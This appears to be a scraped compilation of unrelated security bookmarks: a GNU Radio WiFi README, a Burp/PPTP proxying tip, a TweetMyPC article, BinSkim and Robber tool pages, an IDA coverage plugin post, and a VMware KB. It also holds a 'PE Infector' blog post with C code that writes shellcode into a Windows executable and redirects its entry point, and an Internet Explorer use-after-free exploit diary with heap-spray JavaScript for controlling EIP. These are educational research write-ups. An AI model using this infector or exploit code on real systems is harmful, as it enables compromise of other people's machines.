conducted. To ease use, most blocks have debugging and logging capabilities
that can generate traces of the simulation. You can read about the logging
feature and how to use it on the GNU Radio Wiki.

## Unidirectional communication

As first over the air test I recommend to try ` wifi_rx.grc ` and `
wifi_tx.grc `. Just open the flow graphs in GNU Radio companion and execute
them. If it does not work out of the box, try to play around with the gain. If
everything works as intended you should see similar output as in the `
wifi_loopback.grc ` example.

## RX frames from a WiFi card

TBD

## TX frames to a WiFi card

TBD

## Transceiver \(SDR <-> SDR\)

TBD

## Ad Hoc Network with WiFi card

  * The transceiver is currently connected to a TAP device, i.e. is a virtual Ethernet interface. Therefore, we have no WiFi signaling like association requests and hence, the transceiver can not "join" an ad hoc network. You have to make some small changes to the kernel in order to convince you WiFi card to send to this hosts nevertheless.
  * The transceiver can not respond to ACKs in time. This is kind of an architectural limitation of USRP + GNU Radio since Ethernet and computations on a normal CPU introduce some latency. You can set the number of ACK retries to zero and handle retransmits on higher layers \(-> TCP\).
  * RTS/CTS is not working for the same reason. You can however just disable this mechanism.
  * Currently, there is no CSMA/CA mechanism, but this can be implemented on the FPGA.

# Troubleshooting

  * Please check compile and installation logs. They might contain interesting information.
  * Did you calibrate your daughterboard?
  * Did you run volk\_profile?
  * Did you try different gain settings?
  * Did you close the case of the devices?
  * Did you try real-time priority?
  * Did you compile GNU Radio and gr-ieee802-11 in release mode?
  * If you see warnings that ` blocks_ctrlport_monitor_performance ` is missing that means that you installed GNU Radio without control port or performance counters. These blocks allow you to monitor the performance of the transceiver while it is running, but are not required. You can just delete them from the flow graph.
  * The message
You must now use ifconfig to set its IP address. E.g., $ sudo ifconfig tap0
192.168.200.1

is normal and is output by the TUN/Tap Block during startup. The configuration
of the TUN/TAP interface is handled by the scripts in the ` apps ` folder.

  * Did you try to tune the RF frequency out of the band of interest \(i.e. used the LO offset menu of the flow graphs\)?
  * If 'D's appear, it might be related to your Ethernet card. Assert that you made the sysconf changes recommended by Ettus. Did you try to connect you PC directly to the USRP without a switch in between?

# Asking for help

In order to help you it is crucial that you provide enough information about
what is going wrong and what you are actually trying to do. So if you write me
please include at least the following

  * OS \(Ubuntu, OSX...\)
  * hardware \(SDR and daughterboard\)
  * GNU Radio version
  * What are you trying to do
  * What is you setup, i.e. are you transmitting between SDRs or with WiFi cards.
  * Bandwidth and frequency
  * What did you already do to debug?
  * Where exactly does it break, i.e. is frame detection working? Is the signal field decoded correctly?\).

# Further information

For further information please checkout our project page http://www.ccs-
labs.org/projects/wime/

  

# Proxying Non-Proxy-Aware Applications with Burp and PPTP « Flinkd\!

**Created:**| _9/10/2013 8:03:38 PM_  
---|---  
**Updated:**| _9/10/2013 8:03:38 PM_  
**Author:**| __  
**Tags:**| _mobile/embedded proxy_  
  

# Proxying Non-Proxy-Aware Applications with Burp and PPTP****

## The Problem****

Often times when testing iOS applications, getting access to compilable source
code is not possible and I’m forced to test the application using a physical
device**.** In order to observe and manipulate the application’s traffic, I’ll
typically connect the device to my wireless network, and then configure the
iOS client’s wireless network settings to utilize a proxy of my choosing**.**
However, during a recent mobile application assessment, I noticed that a
significant portion of the application’s traffic was not being passed through
my proxy, but rather, directly to the web service**.**

As this usually works quite well, I was unsure why iOS was unable to enforce
my proxy settings**.**

After looking a bit deeper, I noticed that the application communicated with
two web services; one of which utilized a non standard port \(i**.** e. not 80
or 443\). Because of that, the iOS proxy settings would be ignored and traffic
would be issued directly to the web service**.**

## The Solution****

To work around this issue, I realized that I could simply set up a VPN server,
and configure the iOS client to tunnel all traffic \(not just HTTP\), to a
host of my choosing**.** From there it would be simple to intercept and
manipulate the target traffic**.**

In order to simplify setup, I put together a short bash script to install and
configure a PPTP server**.** I tested it primarily on Kali Linux, however it
should work on most Debian based distros**.**

You can download that script, here **.**

> And yes, as I imagine you’re thinking, I likely did go a bit overboard with
> the coloring**.**
Execution of the script will produce the following output:

<img src='img/Temp2_6467.png' width='300' height='126' alt='pptp - 1' />

Next, you’ll need to configure your iOS device to use the PPTP VPN**.** You
can find instructions on how to do so, here **.**

Once you have your client connected to the VPN, you’ll need to decide what
proxy to use**.** In this particular case, as my traffic was still HTTP,
albeit using a non-HTTP port, I chose to use Burp**.** In order to tunnel the
application’s traffic to Burp’s interface, we need to add the following
iptables rule**.**

_Please note that in the example below, we’re assuming that the application is
using TCP port 5555 and that Burp is configured with the default port of
8080**.**  
_

| `iptables -t nat -A PREROUTING -i ppp0 -p tcp --dport 5555 -j REDIRECT --to-
ports 8080`  
---|---  
And finally, we’ll need to make a few changes to our Burp proxy settings**.**
First, we’ll need to instruct Burp to listen on all interfaces \(or atleast
our PPTP interface\)**.** Additionally, as our client isn’t aware that it’s
traffic is being proxied, we’ll need to configure Burp to perform invisible
proxying**.** This means that Burp will look to the HTTP Host header in order
to determine where it should forward the incoming requests**.**

<img src='img/Temp2_6468.png' width='300' height='120' alt='Burp - 1' />

You can find further information on Burp’s invisible proxy support here **.**

## Alternatives****

In the event that your application is using something other than HTTP, one
alternative is Mallory , a transparent TCP and UDP proxy developed by the
Intrepidus Group**.** Using Mallory, it’s possible to intercept and manipulate
any binary protocol**.**

### Like this**** :

Like Loading..**.**

****

# Shutdown or Lock your Computer via Internet, Email or SMS on Mobile Phone

**Created:**| _7/6/2009 7:41:41 PM_  
---|---  
**Updated:**| _7/6/2009 7:41:59 PM_  
**Author:**| __  
**Tags:**| _windows security Twitter web_  
  

# How to Remote Control your Windows PC with Email or SMS

It’s a long weekend and you’re happy because you’ll get to spend the next
three days with your family. You left the office in an excited mood but as the
cab was approaching home, you suddenly realized that you forgot to shut down
the Office PC. Oops\!

<img src='img/Temp2_7503.jpg' width='533' height='351' alt='computer worries'
/>

It’s a sinking feeling because there’re so many confidential documents on the
computer and since most of your trusted colleagues have also left for the day,
there’s no point calling them for help.

So what do you do? Drive back to Office? Well that’s not required - just take
out your cell phone or switch on the laptop at home, send an email \(or an SMS
or a tweet\) and that will instantly lock your Office workstation. And if you
share the same computer with multiple people, you can use another email
command to remotely log off or even shut down the computer from anywhere in
the world.

<img src='img/Temp2_7505.jpg' width='288' height='406' alt='twitter commands'
/>There’s no magic here, it’s the power of TweetMyPC utility that lets you
remote control your computer from a mobile phone or any other Internet
connected computer.

It works like this. You first install the free TweetMyPC utility on any
Windows PC and associate your Twitter account. The app will silently monitor
your Twitter stream every minute for any desktop commands and if it finds one,
will act upon it immediately. The initial version of TweetMyPC was limited to
basic shutdown and restart commands, however the current v2 has a far more
robust set of commands, enabling a far more useful way of getting your PC to
carry out certain tasks especially when you’re AFK \(Away From Keyboard\).

Before we get started, it may be a good thing if you can set up a new twitter
account for remote controlling your desktop and also protect the status
updates of this account to ensure better security.

Protecting the account means that you prevent other users from reading your
tweets which in this case are email commands that you sending to the computer.
To protect your Twitter profile, log in to Twitter with the credentials you
want to use, click Settings and check the box next to "Protect my Updates".

Let’s get started. Install the TweetMyPC utility of your computer and
associate your Twitter and Gmail account with the application. It will use
Twitter to receive remote commands \(like shutdown, log-off, lock workstation,
etc\) from while the email account will be used for send your information
\(e.g., what process are currently running on your computer\).

## How to Send Commands to the Remote Computer

Now that your basic configuration is done, it’s time to set up a posting
method. You can use email, SMS, IM, web or any of the Twitter clients to send
commands to the remote computer.

**By Email** : Associate you Twitter account with Posterous \(auto-post\) and
all email messages sent to twitter@posterous.com will therefore become
commands for the remote computer. \(Also see: Post to Twitter via Email\)

**By SMS** : If you live in US, UK, Canada, India, Germany, Sweden or New
Zeleand, you can send associate Twitter with your mobile phone \(see list of
numbers\) and then control your remote computer via SMS Text Messages.

**By IM** : Add the Twitter bot - twitter@twitter.com \- to your list of
Google Talk buddies and you can then send commands via instant message.

**By Web** :If you are on vacation but have access to an internet connected
laptop, just log into the Twitter website and issue commands \(e.g., shutdown
or logoff\) just as another tweet.

<img src='img/Temp2_7504.jpg' width='542' height='318' alt='lock computer
shutdown' />

## Download Files, Capture Remote Screenshots & more..

While the TweetMyPC is pretty good for shutting down a remote computer, it
lets you do some more awesome stuff as well.

For instance, you need to download an unfinished presentation from the office
computer so that you can work on it at home. Or you want to download a trial
copy of Windows 7 on the Office computer while you are at home.

Here’s a partial list of commands that you can use to remote control the PC -
they’re case-insensitive and, as discussed above, you can send them to Twitter
via email, SMS, IM or the web.

**Screenshot** : This is one of the most useful command I’ve come across after
the shutdown command. Want to know what’s happening within the confines of
your PC when you’re not around? Just tweet screenshot and TweetMyPC will take
a screenshot of your desktop and post it to the web \(see example\).

**ShutDown, LogOff, Reboot, Lock** : The function of these useful commands is
pretty obvious from their names.

**Standby, Hibernate** : Don’t want to shutdown the remote PC? Save power by
entering standby mode with this command. Or hibernate your PC with a tweet,
thereby saving even more power.

# Introducing BinSkim

**Created:**| _5/7/2017 10:54:52 AM_  
---|---  
**Updated:**| _5/7/2017 10:54:52 AM_  
**Author:**| __  
**Tags:**| _reversing Microsoft_  
  

  

# Introducing BinSkim

Rate this article

★★★★★

★★★★

★★★

★★

★

<img src='img/5832_avatar.jpg' width='22' height='22' alt='avatar of
mrbrownwhite' />JBW \[MSFT\]August 17, 20160

  * Share
  * 51
  * 29

* * *
BinSkim is a binary static analysis tool that scans Windows Portable
Executable \(PE\) files for security and correctness. Among the verifications
performed by BinSkim are validations that the PE file has opted into all of
the binary mitigations offered by the Windows Platform. Some of these
mitigations ensure the binary has:

  * SafeSEH enabled for safe exception handling,
  * ASLR enabled so that memory is not laid out in a predictable fashion easier and
  * Stack Protection is enabled to prevent overflow

BinSkim is a useful mechanism to ensure that applications are benefiting from
all mitigations available today.

## What about Binscope?

BinSkim is not the first tool released by Microsoft to perform this
verification. For a number of years Microsoft has made Binscope available for
the same purpose. Going forward, Binscope will be phased out in favor of
BinSkim, as BinSkim offers several advantages, such as:

  * Leaner and more performant codebase, written in modern C\#,
  * Open source, released under the MIT license on GitHub, so that it can be included in other projects
  * Static Analysis Results Interchange Format \(SARIF\) support to log findings. All Microsoft Static Analysis tools are unifying on this format. It is quite permissive, and other producers of static analysis tools are encouraged to provide support.

## How do I get started with BinSkim?

To get started:

  1. Follow the instructions on downloading a stable build of BinSkim
  2. Alternatively, the source for BinSkim is available, which you can build yourself
  3. Run it against the output directory of a build via the command line:

_binskim.exe <your output directory> –recurse –policy default –output
MyRun.sarif _

More details on the command line options can be found at
https://github.com/Microsoft/binskim\#command-line-documentation

## Next Steps

Give BinSkim a spin and let us know about any issues or feature requests in
the comments below or on Github. More enhancements are coming to the tool over
time, and we will let you know about them here.

* * *
  

# Security Analysis of x86 Processor Microcode

**Created:**| _4/9/2015 9:56:05 PM_  
---|---  
**Updated:**| _7/15/2015 2:27:25 PM_  
**Author:**| __  
**Tags:**| _x86 micro code_  
  
  
<img src='img/paper_microcode.pdf' />  

# csw09.pdf

**Created:**| _7/9/2010 12:08:07 PM_  
---|---  
**Updated:**| _7/9/2010 12:08:35 PM_  
**Author:**| __  
**Tags:**| _reversing conference-material binary translation_  
  
<img src='img/csw09.pdf' />

# MojtabaTajik/Robber

**Created:**| _9/23/2018 9:03:07 AM_  
---|---  
**Updated:**| _9/23/2018 9:03:07 AM_  
**Author:**| _wishi_  
**Tags:**| _dll-injection_  
  

  

# Robber

**Robber** is a free open source tool developed using Delphi XE2 without any
3rd party dependencies.

What is DLL hijacking ?\!

Windows has a search path for DLLs in its underlying architecture. If you can
figure out what DLLs an executable requests without an absolute path
\(triggering this search process\), you can then place your hostile DLL
somewhere higher up the search path so it'll be found before the real version
is, and Windows will happilly feed your attack code to the application.

So, let's pretend Windows's DLL search path looks something like this:

> A\) . <\-- current working directory of the executable, highest priority,
> first check
> B\) \Windows
> C\) \Windows\system32
> D\) \Windows\syswow64 <\-- lowest priority, last check
and some executable "Foo.exe" requests "bar.dll", which happens to live in the
syswow64 \(D\) subdir. This gives you the opportunity to place your malicious
version in A\), B\) or C\) and it will be loaded into executable.

As stated before, even an absolute full path can't protect against this, if
you can replace the DLL with your own version.

Microsoft Windows protect system pathes like System32 using Windows File
Protection mechanism but the best way to protect executable from DLL hijacking
in entrprise solutions is :

  * Use absolute path instead of relative path
  * If you have personal sign, sign your DLL files and check the sign in your application before load DLL into memory. otherwise check the hash of DLL file with original DLL hash\)

And of course, this isn't really limited to Windows either. Any OS which
allows for dynamic linking of external libraries is theoretically vulnerable
to this.

**Robber** use simple mechanism to figure out DLLs that prone to hijacking :

  1. Scan import table of executable and find out DLLs that linked to executable
  2. Search for DLL files placed inside executable that match with linked DLL \(as i said before current working directory of the executable has highest priority\)
  3. If any DLL found, scan the export table of theme
  4. Compare import table of executable with export table of DLL and if any matching was found, the executable and matched common functions flag as DLL hijack candidate.

Feauters :

  * Ability to select scan type \(signed/unsigned applications\)
  * Determine executable signer
  * Determine wich referenced DLLs candidate for hijacking
  * Determine exported method names of candidate DLLs
  * Configure rules to determine which hijacks is best or good choice for use and show theme in different colors

Find out latest Robber executable here

<img src='img/Robber.PNG.png' width='576' height='404' />

  

# Hex blog: Coverage analyzer

**Created:**| _1/7/2010 1:31:51 PM_  
---|---  
**Updated:**| _1/7/2010 1:31:58 PM_  
**Author:**| __  
**Tags:**| _iDA plugin_  
  

# <img src='img/Temp2_3818.jpg' alt='Hex blog' />

« On uninitialized variables | Main | IE6 vulnerabilty patch »
### Coverage analyzer

Sometimes we want to perform the coverage analysis of the input file: to find
areas of the program not exercised by a set of test cases. These test cases
may come from a test suit or you could be trying to to find a vulnerability in
the program by 'fuzzing' it. A nice feedback in the form of a list of 'not-
yet-executed' instructions would be a nice addition to blind fuzzing.

The straightforward way of creating such an analyzer in IDA would be to use
the built-it instruction tracer. It would work for small \(toy-size\) programs
but would be too slow for real-world programs. Besides, multi-threaded
applications can not be handled by the tracer.

To tell the truth, we do not really need to trace every single instruction.
Noting that the instruction at the beginning of a basic block gets executed
would be enough. \(A basic block is a sequence of instructions without any
jumps into the middle\). Thanks to the cross-reference and name information in
IDA, we can discover them quite reliably, especially in the compiler generated
code.

So, a more clever approach would be to set a breakpoint at the beginning of
each basic block. We would keep a breakpoint at place until it fires. As soon
the breakpoint gets triggered, we remove it and let the program continue. This
gives us tremendous speed boost, but the speed is still not acceptable. Since
an average program contains many thousands basic blocks, just setting or
removing breakpoints for them is too slow, especially over a network link
\(for remote debugging\).

To make the analyzer to work even faster, we have to abandon IDA-controlled
breakpoints and handle them ourselves. It seems difficult and laborious. In
practice, it turns out to be very easy. Since we do not have 'real'
breakpoints that have to be kept intact after firing, the logic becomes very
simple \(note that the most difficult part of breakpoint handling is resuming
the program execution after it: you have to remove the breakpoint, single
step, put the breakpoint back and resume the execution - and the debugged
program can return something unexpected at any time, like an event from
another thread or another exception\). Here is the logic for simple one-shot
breakpoints:

**if** we get a software breakpoint exception and it's address is in the
breakpoint list  
**then**  
remove the breakpoint by restoring the original program byte  
update EIP with the exception address  
resume the program execution  
**endif**

This algorithm requires 2 arrays: the breakpoint list and the original program
bytes. The breakpoint list can be kept as vector<bool>, i.e. one bit per
address.

Anyway, enough details. Here are some pictures.

This view of the imported function thunks gives as **live** view of executed
functions from Windows API \(green means _executed_\):

<img src='img/Temp2_3821.jpg' />

If you continue to run the program, more and more lines will be painted green.

In the following picture we see what instructions were executed and what were
not:

<img src='img/Temp2_3822.jpg' />

We see that the jump at 40158A was taken and therefore ESI was always 1 or
less.

If we collapse all functions of the program \(View, Hide all\), then this
'bird eye' view will tell us about the executed functions

<img src='img/Temp2_3819.jpg' />

The last picture was taken while running IDA in IDA itself. We see the names
of user-interface functions. It is obvious that I pressed the Down key but
haven't tried to press the Up/Left/Right keys yet. I see how the plugin can be
useful for in-house IDA testing...

Here is the plugin: http://www.hexblog.com/ida\_pro/files/coverit.zip

As usual, it comes with the source code. IDA v5.0 is required to run it.

There are many possible improvements for it:

  *   

  * Track function execution instead of basic block execution.  

  * Create a nice list of executed/not-executed functions.  

  * Create something like a navigation band to display the results \(in fact it is not very difficult, just create a window and draw on it pixel by pixel or, rather, rectangle by rectangle\)  

  * Count the number of executions. Currently the plugin detects only the fact of the instruction execution but does not count how many times it gets executed. Counting will slow things down but I'm sure that it can still be made acceptably fast.  

  * Monitor several segments/dlls at once. The current version handles only the first code segment coming from the input file \(so called loader segment\). It can be made to monitor the whole memory process excluding the windows kernel code that handles exceptions.  

  * Port to other platforms and processors. For the moment the code is MS Windows-oriented \(the exception and breakpoint codes are hardcoded\). Seems to be easy.  

  * Make the plugin to remember the basic block list between runs. This will improve the startup speed of subsequent runs.  

  * Add customization dialog box \(the color, function/bb selector\), in short, everything said above can be parameterized.  

This plugin demonstrates how to do some tricky things in IDA: how to refresh
the screen only when it is really necessary, to hook low-level debugger
functions, to find basic blocks, etc.

Have fun and nice coverage\!

Posted by Ilfak Guilfanov on March 27, 2006 01:28 AM | Permalink
### Comments

Hello Ilfak,

Pretty cool stuff as usual.  
Will come handy especially to detect anti emulation code ;-\) as you will
basically only see the detection, often placed at start of malwares.

Nico

Posted by: Nicolas Brulez | April 11, 2006 06:00 PM
## Post a comment

\(If you haven't left a comment here before, you may need to be approved by
the site owner before your comment will appear. Until then, it won't appear on
the entry. Thanks for waiting.\)

Name:

Email Address:

URL:

Remember personal info?

Comments: \(you may use HTML tags for style\)

<img src='img/Temp2_3820.jpg' /> The IDA Pro book

# Marco Ramilli's Blog: PE Infector

**Created:**| _3/30/2011 5:57:17 AM_  
---|---  
**Updated:**| _3/30/2011 5:57:34 AM_  
**Author:**| __  
**Tags:**| _attacks Malware-analysis awesome pe_  
  

## PE Infector

Mar

28

Hi Folks,

today I want to share the simplest way to infect a Windows Portable Executable
file. There are many different ways to implement an infection \(or injection\)
by adding code into the PE free space but the way I am going to describe is
probably the simplest and \(with respect to \_antony\) the most primitive one.

  

The following code shows up how to search into the PE Header finding out the
pointer to "raw data" of the .text section:

  

GetTextSectionOffset\(PIMAGE\_SECTION\_HEADER pSectionHeader , int
NumberOfSections\)

\{

while\(NumberOfSections > 0\)

\{

if\( \!strcmpi\(\(char\*\)pSectionHeader->Name , ".text"\)\)

\{

return pSectionHeader->PointerToRawData;

\}

\}

/\* we did not find .text section \*/

return 0;

\}

  

Later the a simple formula to find out memory space is applied:
PointerToRawData - sizeof\(code\). If in there free space is present then put
shellcode and recalculate OEP.

  

  

The main function:

  

int main\(int argc , char \*argv\[\]\)

\{

HANDLE hFile;

HANDLE hMap;

char \*MappedFile = 0;

DWORD FileSize; /\* file size \*/

DWORD delta;

DWORD SectionOffset; /\* .text section offset\*/

DWORD func\_addr;

IMAGE\_DOS\_HEADER \*pDosHeader;

IMAGE\_NT\_HEADERS \*pNtHeader;

IMAGE\_SECTION\_HEADER \*pSecHeader;

  

The shell code to be injected \!

  

/\* shell code\*/

char code\[\] = "\x6A\x00" /\*push 0 \*/

"\xB8\x00\x00\x00\x00" /\*mov eax , func\_addr \(address will be inserted
automaticly\)\*/

"\xFF\xD0"; /\*call eax \*/

  

Controls :

  

if\(argc < 2\)

\{

printf\("parameters : ssv.exe \[filename\] \n"\);

printf\("simple pe infector by \_antony \n"\);

return 0;

\}

printf\("target: \[%s\] \n" , argv\[1\]\);

  

Opening the passed file:

  

hFile = CreateFile\(argv\[1\] ,

GENERIC\_WRITE | GENERIC\_READ ,
0 ,

0 ,

OPEN\_EXISTING ,

FILE\_ATTRIBUTE\_NORMAL ,

0\);

if\(hFile == INVALID\_HANDLE\_VALUE\)

\{

printf\("\[Error\]: Can't open File\! Error code : %d" , GetLastError\(\)\);

return -1;

\}

  

  

Getting file size:

  

FileSize = GetFileSize\(hFile , 0 \);

printf\("\[File Size \]: %d \n", FileSize\);

/\* mapping file \*/

hMap = CreateFileMapping\(hFile ,

0 ,

PAGE\_READWRITE ,

0 ,

FileSize ,

0\);

if\(hMap == INVALID\_HANDLE\_VALUE\)

\{

printf\("\[Error\]: Can't map file\! Error code: %d\n" , GetLastError\(\)\);

CloseHandle\(hFile\);

return -1;

\}

MappedFile = \(char\*\)MapViewOfFile\(hMap , FILE\_MAP\_READ | FILE\_MAP\_WRITE , 0 , 0 , FileSize\);
if\(MappedFile == NULL\)

\{

printf\("\[Error\]: Can't map file\! Error code %d\n", GetLastError\(\)\);

CloseHandle\(hFile\);

CloseHandle\(hMap\);

UnmapViewOfFile\(MappedFile\);

return -1;

\}

  

Mapping Headers:

  

pDosHeader = \(IMAGE\_DOS\_HEADER\*\)MappedFile;

pNtHeader = \(IMAGE\_NT\_HEADERS\*\)\(\(DWORD\)MappedFile +
pDosHeader->e\_lfanew\);

pSecHeader = IMAGE\_FIRST\_SECTION\(pNtHeader\);

  

Here it is: getting .text section PointerToRawData

  

SectionOffset = GetTextSectionOffset\(pSecHeader ,
pNtHeader->FileHeader.NumberOfSections\);

if\(SectionOffset == 0\)

\{

printf\("\[Error\]: Can't find .text section\!\n"\);

CloseHandle\(hFile\);

CloseHandle\(hMap\);

UnmapViewOfFile\(MappedFile\);

return -1;

\}

delta = SectionOffset - sizeof\(code\);

int i;

BYTE check;

printf\("scanning...\n"\);

  

looking for free space \(0x/00\), if enough free space is found then copy
shellcode.

  

  

for\(i=0 ; i<sizeof\(code\) ; i++\)

\{

check = \*\(\(BYTE\*\)MappedFile + delta + i\);

printf\("%X \t", check\);

if\(check \!= 0\)

\{

printf\("There is some data...\n"\);

CloseHandle\(hFile\);

CloseHandle\(hMap\);

UnmapViewOfFile\(MappedFile\);

return -1;

\}

\}

printf\("Space if free , infecting File...\n"\);

  

Inserting function addresses dynamically into the shellcode.

  

func\_addr = \(DWORD\)GetProcAddress\( LoadLibrary\("kernel32.dll"\) ,
"ExitProcess"\);

for\(i=0 ; i < sizeof\(code\) ; i++ \)

\{

if\( \*\(DWORD\*\)&code\[i\] == 0x00000B8\)

\{

\*\(DWORD\*\)\(code+i+1\)= func\_addr;

\}

\}

  

Setting up new OEP.

  

printf\("Old Entry Point : %08X \n" ,
pNtHeader->OptionalHeader.AddressOfEntryPoint\);

memcpy\(MappedFile+delta , code , sizeof\(code\)\);

  

since delta is PointerToRawData - sizeof\(code\), it could be added as new
OEP.

  

  

pNtHeader->OptionalHeader.AddressOfEntryPoint = delta;

printf\("File infected\!\n"\);

printf\("New Entry Point: %08X \n" , delta\);

  

CloseHandle\(hFile\);

CloseHandle\(hMap\);

UnmapViewOfFile\(MappedFile\);

return 0;

\}

  

Again another great listing \(thanks \_antony for sharing it\) to start with
PE infections. From this piece of code you might be able to build your own
little injector framework, enabling multiple shellcode, refining the the OEP
generation \(and respectively the free space function\), adding variable
execution parameters, and whatever you might imagine. Enjoy this great example
\!

# VMware KB: Specifying the keyboard layout when connecting with VNC client

**Created:**| _12/30/2009 5:47:07 PM_  
---|---  
**Updated:**| _12/30/2009 5:47:07 PM_  
**Author:**| _wishi_  
**Tags:**| _Lab-Setup_  
  

#### Symptoms

  * The computer accessing the console uses a non-English keyboard layout.
  * VNC client acts as if the keyboard is currently using an English layout.
  * In correct letters appearing when you type. Letters typed on a non-English keyboard do not print the correct letters on the screen.

#### Resolution

This issue can be resolved by specifying the remote keyboard layout to be used
by the virtual machine.

To specify the remote keyboard layout:

  1. Open the virtual machine configuration file \(.VMX\) in a text editor.
  2. Add the following line to the end of the file:  
  
RemoteDisplay.vnc.keymap = "<lang\_code>"  
  
To determine the <lang\_code> value to use, such as "de", refer to the
vnckeymap file, located in: %ALLUSERSPROFILE%\Application Data\VMware
Workstation, or /usr/lib/vmware.

**Note** : To create a custom layout file, create a new text file and specify
the key value pairs consisting of the VNC or X KeySym and the corresponding
keyboard scan code. Use the existing vnckeymap file as an example. When
completed, set the keymap file variable in the .VMX to specify the custom
file, using the sample below:

  
RemoteDisplay.vnc.keymapFile = "my\_keyfile"

# PICTUROKU: Diaries of vulnerability - take 2

**Created:**| _9/3/2011 11:32:33 AM_  
---|---  
**Updated:**| _9/3/2011 11:32:33 AM_  
**Author:**| __  
**Tags:**| _bookmark vulnerability_  
  

## Quinta-feira, 1 de Setembro de 2011

###  Diaries of vulnerability - take 2

Stage 1 exploit - Controlling EIP  
  
  

A friend of mine referred that he wasn't able to run the original exploit
published by d0c\_s4vage on his machine. Another one pointed out that he
didn't understand why the original exploit used a block size of 0xE0 for heap
spraying, even though the object used-after-free was a CTreeNode sized 0x4C. I
thought this was a good motivation for a post, so here it is.  
  

Note: I'll make this post simpler than the first part, so I'll skip some
explanations along the way and I'll leave the first point for another post as
its analysis has some background checking that will be covered in the second
point explanation and in this post.

Note 2: Again the pretty formatted paper is available here for download.  
  

Let’s begin with a slight variation of the exploit, as so we can test it more
conveniently:

  
<html>  
<body>  
<script language='javascript'>  
document.body.innerHTML += "<object align='right'
width='1000'>TAG\_1</object>";  
document.body.innerHTML += "<a style='float:left;'>TAG\_3</a>A";  
document.body.innerHTML += "A";  
document.body.innerHTML += "<strong id='popo' style='font-size:1000pc;
margin:auto -1000cm auto auto;' dir='ltr'></strong>";  
document.getElementById\('popo'\).innerHTML = "Z";  
</script>  
</body>  
</html>  

  
And these breakpoints:

  
bp mshtml\!CTreeNode::CTreeNode ".printf \" CTreeNode:node\[%08x\]
Type:\",ecx;dds edi l1; gc;"  
bp mshtml\!CObjectElement::CObjectElement ".printf \"
CObjectElement:addr\[%08x\] \\\n\",esi;gc"  

  
Let's review some history:

  

CObjectElement:addr\[004150e8\]  
CTreeNode:node\[0042adb0\] Type:mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[0042b1d0\] Type:mshtml\!CAnchorElement::\`vftable'  
CTreeNode:node\[0042b280\] Type:mshtml\!CPhraseElement::\`vftable'  
CTreeNode:node\[0042adb0\] Type:mshtml\!CObjectElement::\`vftable'  
CTreeNode:node\[0042b1d0\] Type:mshtml\!CAnchorElement::\`vftable'

...

CTreeNode:node\[0042ae60\] Type:mshtml\!CBodyElement::\`vftable'  
\(b60.2e0\): Access violation - code c0000005 \(first chance\)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=0042adb0 ecx=0041010a edx=00000000 esi=01ffbc20 edi=00000000  
eip=6987b68f esp=01ffbbf4 ebp=01ffbc0c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
mshtml\!CElement::Doc+0x2:  
6987b68f 8b5070 mov edx,dword ptr \[eax+70h\] ds:0023:00000070=????????  
  
ub mshtml\!CElement::Doc:  
6987b68d 8b01 mov eax,dword ptr \[ecx\]  
  
dc ebx  
0042adb0 0041010a 00000000 ffff404a ffffffff ..A.....J@......  

  
What we have here is, as we saw in the previous post, that EBX is a pointer to
the CTreeNode freed object, and is being wrongly reused. So, why don’t we
reuse the CTreeNode freed object and fill it with our controlled content? If
ECX is the first value of the CTreeNode we could adjust its value so we could
jump directly to our nop sled address. The problem is that between the free of
the CTreeNode and its usage we have no chance of intervening in the execution
path \(by use of javascript\). So we need to deal with the address left by the
heap allocator. If ECX is the first value of the CTreeNode, according to
reversed code it should be pointing to a CObjectElement but the value pointed
by ECX has apparently no valid or known object address:  
  

\!heap -x 0041010a  
Entry User Heap Segment Size PrevSize Unused Flags  
\-----------------------------------------------------  
00410050 00410058 00370000 00410450 100 - 0 LFH;free

  
The reason for this is because EBX was freed. What happens when a user memory
chunk is returned to the heap allocator \(the LFH in this case\), besides all
the heap related metadata updated, is that the first WORD in the user portion
of the allocation, gets a new purpose, it becomes the FreeEntryOffset:  
  

\*\(WORD\)\(ChunkHeader + 8\) = AggrExchg.FreeEntryOffset;

  
This explains the 0x010a, but what is the 0x0041? This value is the two MSB of
the original value because the free process doesn’t update this WORD, so we
know that the CObjectElement had a value of 0x0041xxxx, which corresponds to
our freed CObjectElement in the trace: 0x004150e8.  
  

LFH, as it tries to keep fragmentation to a minimum, uses a metadata structure
called heap sub-segment, which organizes memory in contiguous chunks that keep
track of allocated and freed memory blocks of the same size.

So a sub-segment is used to manage blocks of size 0x4C and another sub-segment
manages the allocation and de-allocation of blocks of size 0xE0, explaining
why two aligned in time allocations, CObjectElement:addr\[004150e8\] and
CTreeNode:node\[0042adb0\] have so different addresses.  
  

This simplistic view of the process is important to understand it, because it
will allow us to influence the process, and more important, the values that we
want stored in this first DWORD of the user buffer. I say first DWORD because
we want to predictably set this to a usable or controllable pointer address.

How can we influence this, then?

As the first WORD is a FreeEntryOffset, and it's updated during a free of a
CTreeNode we'll need to impose some determinism on CTreeNode allocations. How
do we do this? We allocate sufficient objects of this size to fill potential
holes in the sub-segment that manages 0x4C sized objects and at some point
we'll start having contiguous objects allocation. The following code will do
the trick:

...  
document.body.innerHTML += "<strong id='popo' style='font-
size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'></strong>";  
var size = 0x4c;  
var arrSize = 200;  
var obj\_overwrite = unescape\("%u0c0c%u0c0c"\);  
while\(obj\_overwrite.length < size\)  
\{ obj\_overwrite += obj\_overwrite; \}  
obj\_overwrite = obj\_overwrite.substr\(0, \(size-6\)/2\);  
CollectGarbage\(\);  
var arr = new Array\(\);  
for\(var counter = 0; counter < arrSize; counter++\)  
\{ arr.push\(obj\_overwrite.substr\(0, obj\_overwrite.length\)\); \}  
for\(var counter = arrSize-50; counter < arrSize; counter+=3\)  
\{ delete arr\[counter\]; \}  
CollectGarbage\(\);  
document.getElementById\('popo'\).innerHTML = "Z";  
...  
  
  

After crashing we get this:

  

dc ebx ebx+0x4C  
002d6318 002e00a7 00000000 ffff404a ffffffff ........J@......  
002d6328 00000051 00000000 00000000 00000000 Q...............  
002d6338 00000000 002d6340 00000062 00000000 ....@c-.b.......  
002d6348 00000000 00000000 002d6328 00000000 ........\(c-.....  
002d6358 00000000 00000000 00000000 00000000 ................  
  
dc ebx-8-0x4C ebx+0x4C+8+0x4C  
002d62c4 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................  
